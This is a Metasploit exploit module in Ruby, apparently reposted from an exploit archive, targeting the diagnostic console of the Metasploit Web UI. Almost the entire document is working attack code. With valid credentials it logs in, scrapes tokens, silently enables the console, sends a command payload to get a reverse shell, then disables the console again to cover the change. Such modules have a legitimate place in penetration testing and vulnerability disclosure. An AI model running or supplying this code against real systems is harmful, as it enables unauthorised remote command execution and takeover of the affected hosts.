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Metasploit Web UI Diagnostic Console Command Execution

Posted on 22 September 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Metasploit Web UI Diagnostic Console Command Execution',
'Description' => %q{
This module exploits the "diagnostic console" feature in the Metasploit
Web UI to obtain a reverse shell.

The diagnostic console is able to be enabled or disabled by an
administrator on Metasploit Pro and by an authenticated user on
Metasploit Express and Metasploit Community. When enabled, the
diagnostic console provides access to msfconsole via the web interface.
An authenticated user can then use the console to execute shell
commands.

NOTE: Valid credentials are required for this module.

Tested against:

Metasploit Community 4.1.0,
Metasploit Community 4.8.2,
Metasploit Community 4.12.0
},
'Author' => [ 'Justin Steven' ], # @justinsteven
'License' => MSF_LICENSE,
'Privileged' => true,
'Arch' => ARCH_CMD,
'Payload' => { 'PayloadType' => 'cmd' },
'Targets' =>
[
[ 'Unix',
{
'Platform' => [ 'unix' ]
}
],
[ 'Windows',
{
'Platform' => [ 'windows' ]
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 23 2016'
))

register_options(
[
OptBool.new('SSL', [ true, 'Use SSL', true ]),
OptPort.new('RPORT', [ true, '', 3790 ]),
OptString.new('TARGETURI', [ true, 'Metasploit Web UI base path', '/' ]),
OptString.new('USERNAME', [ true, 'The user to authenticate as' ]),
OptString.new('PASSWORD', [ true, 'The password to authenticate with' ])
], self.class)
end

def do_login()

print_status('Obtaining cookies and authenticity_token')

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login'),
})

unless res
fail_with(Failure::NotFound, 'Failed to retrieve login page')
end

unless res.headers.include?('Set-Cookie') && res.body =~ /name="authenticity_token"W+.*value="([^"]*)"/
fail_with(Failure::UnexpectedReply, "Couldn't find cookies or authenticity_token. Is TARGETURI set correctly?")
end

authenticity_token = $1
session = res.get_cookies

print_status('Logging in')

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'user_sessions'),
'cookie' => session,
'vars_post' =>
{
'utf8' => 'xE2x9Cx93',
'authenticity_token' => authenticity_token,
'user_session[username]' => datastore['USERNAME'],
'user_session[password]' => datastore['PASSWORD'],
'commit' => 'Sign in'
}
})

unless res
fail_with(Failure::NotFound, 'Failed to log in')
end

return res.get_cookies, authenticity_token

end

def get_console_status(session)

print_status('Getting diagnostic console status and profile_id')

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'settings'),
'cookie' => session,
})

unless res
fail_with(Failure::NotFound, 'Failed to get diagnostic console status or profile_id')
end

unless res.body =~ /id="profile_id"W+.*value="([^"]*)"/
fail_with(Failure::UnexpectedReply, 'Failed to get profile_id')
end

profile_id = $1

if res.body =~ /<inputW+.*(id="allow_console_access"W+.*checked="checked"|checked="checked"W+.*id="allow_console_access")/
console_status = true
elsif res.body =~ /<inputW+.*id="allow_console_access"/
console_status = false
else
fail_with(Failure::UnexpectedReply, 'Failed to get diagnostic console status')
end

print_good("Console is currently: #{console_status ? 'Enabled' : 'Disabled'}")

return console_status, profile_id

end

def set_console_status(session, authenticity_token, profile_id, new_console_status)
print_status("#{new_console_status ? 'Enabling' : 'Disabling'} diagnostic console")

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'settings', 'update_profile'),
'cookie' => session,
'vars_post' =>
{
'utf8' => 'xE2x9Cx93',
'_method' => 'patch',
'authenticity_token' => authenticity_token,
'profile_id' => profile_id,
'allow_console_access' => new_console_status,
'commit' => 'Update Settings'
}
})

unless res
fail_with(Failure::NotFound, 'Failed to set status of diagnostic console')
end

end

def get_container_id(session, container_label)

container_label_singular = container_label.gsub(/s$/, "")

print_status("Getting ID of a valid #{container_label_singular}")

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, container_label),
'cookie' => session,
})

unless res && res.body =~ /id="#{container_label_singular}_([^"]*)"/
print_warning("Failed to get a valid #{container_label_singular} ID")
return
end

container_id = $1

vprint_good("Got: #{container_id}")

container_id

end

def get_console(session, container_label, container_id)

print_status('Creating a console, getting its ID and authenticity_token')

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, container_label, container_id, 'console'),
'cookie' => session,
})

unless res && res.headers['location']
fail_with(Failure::UnexpectedReply, 'Failed to get a console ID')
end

console_id = res.headers['location'].split('/')[-1]

vprint_good("Got console ID: #{console_id}")

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, container_label, container_id, 'consoles', console_id),
'cookie' => session,
})

unless res && res.body =~ /console_init('console', 'console', '([^']*)'/
fail_with(Failure::UnexpectedReply, 'Failed to get console authenticity_token')
end

console_authenticity_token = $1

return console_id, console_authenticity_token

end

def run_command(session, container_label, console_authenticity_token, container_id, console_id, command)

print_status('Running payload')

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, container_label, container_id, 'consoles', console_id),
'cookie' => session,
'vars_post' =>
{
'read' => 'yes',
'cmd' => command,
'authenticity_token' => console_authenticity_token,
'last_event' => '0',
'_' => ''
}
})

unless res
fail_with(Failure::NotFound, 'Failed to run command')
end

end

def exploit

session, authenticity_token = do_login()

original_console_status, profile_id = get_console_status(session)

unless original_console_status
set_console_status(session, authenticity_token, profile_id, true)
end

if container_id = get_container_id(session, "workspaces")
# target calls them "workspaces"
container_label = "workspaces"
elsif container_id = get_container_id(session, "projects")
# target calls them "projects"
container_label = "projects"
else
fail_with(Failure::Unknown, 'Failed to get workspace ID or project ID. Cannot continue.')
end

console_id, console_authenticity_token = get_console(session, container_label,container_id)

run_command(session, container_label, console_authenticity_token,
container_id, console_id, payload.encoded)

unless original_console_status
set_console_status(session, authenticity_token, profile_id, false)
end

handler

end

end

 

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